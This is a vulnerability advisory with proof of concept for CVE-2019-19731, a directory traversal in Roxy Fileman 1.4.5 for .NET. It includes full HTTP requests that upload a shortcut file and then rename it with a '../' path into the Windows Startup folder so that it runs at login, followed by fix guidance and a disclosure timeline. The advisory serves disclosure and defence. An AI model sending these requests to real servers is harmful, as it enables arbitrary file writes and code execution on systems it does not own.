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# Exploit Title: Roxy Fileman 1.4.5 - Directory Traversal # Author: Patrik Lantz # Date: 2019-12-06 # Software: Roxy Fileman # Version: 1.4.5 # Vendor Homepage: http://www.roxyfileman.com/ # Software Link: http://www.roxyfileman.com/download.php?f=1.4.5-net # CVE: CVE-2019-19731 Tested on: ASP.NET 4.0.30319 and Microsoft-IIS 10.0, Windows 10 Pro Build 17134 (using custom account as application pool identity for the IIS worker process). =========================== Description =========================== Roxy Fileman 1.4.5 for .NET is vulnerable to path traversal which can lead to file write in arbitrary locations depending on the IIS worker process privileges. This PoC demonstrates a crafted Windows shortcut file being uploaded and written to the Startup folder. The execution of this file will be triggered on the next login. Proof of Concept =========================== It's possible to write an uploaded file to arbitrary locations using the RENAMEFILE action. The RenameFile function in main.ashx does not check if the new file name 'name' is a valid location. Moreover, the default conf.json has an incomplete blacklist for file extensions which in this case allows Windows shortcut files to be uploaded, alternatively existing files can be renamed to include the .lnk extension. 1) Create a shortcut file By using for example the target executable C:\Windows\System32\Calc.exe Remove the .lnk extension and rename it to use the .dat extension. 2) Upload the file Either upload the .dat file manually via the Roxy Fileman web interface or programmatically using a HTTP POST request. Details of the request: POST /wwwroot/fileman/asp_net/main.ashx?a=UPLOAD HTTP/1.1 Host: 127.0.0.1:50357 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------159382831523528 Content-Length: 924 Origin: http://127.0.0.1:50357 Connection: close Referer: http://127.0.0.1:50357/wwwroot/fileman/ Cookie: roxyld=%2Fwwwroot%2Ffileman%2FUploads%2Ftest2; roxyview=list -----------------------------159382831523528 Content-Disposition: form-data; name="action" upload -----------------------------159382831523528 Content-Disposition: form-data; name="method" ajax -----------------------------159382831523528 Content-Disposition: form-data; name="d" /wwwroot/fileman/Uploads/test2 -----------------------------159382831523528 Content-Disposition: form-data; name="files[]"; filename="poc.dat" Content-Type: application/octet-stream ...data omitted... -----------------------------159382831523528-- 3) Write the file to the Startup folder using the RENAMEFILE action The new filename is set via the n parameter. The correct path can be identified by trial and error depending on the location of wwwroot on the filesystem and the privileges for the IIS worker process (w3wp.exe). If the necessary directories do not exist, they can be created using the CREATEDIR action which also is vulnerable to path traversal. POST /wwwroot/fileman/asp_net/main.ashx?a=RENAMEFILE&f=%2Fwwwroot%2Ffileman%2FUploads%2FDocuments%2Fpoc.dat&n=../../../../../../../../AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/poc.txt.lnk HTTP/1.1 Host: 127.0.0.1:50357 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 66 Origin: http://127.0.0.1:50357 Connection: close Referer: http://127.0.0.1:50357/wwwroot/fileman/ Cookie: roxyld=%2Fwwwroot%2Ffileman%2FUploads%2Ftest2; roxyview=list f=%2Fwwwroot%2Ffileman%2FUploads%2Ftest2%2Fpoc.dat&n=poc.dat Workaround / Fix: =========================== Patch the main.ashx code in order to perform checks for all paths that they are valid in the following actions: CREATEDIR, COPYFILE and RENAMEFILE. Recommendations for users of Roxy Fileman: - Add lnk file extension to the conf.json under FORBIDDEN_UPLOADS, and aspx since it is not included in the blacklist by default. Timeline =========================== 2019-12-06: Discovered the vulnerability 2019-12-06: Reported to the vendor (vendor is unresponsive) 2019-12-11: Request CVE 2019-12-13: Advisory published Discovered By: =========================== Patrik Lantz |
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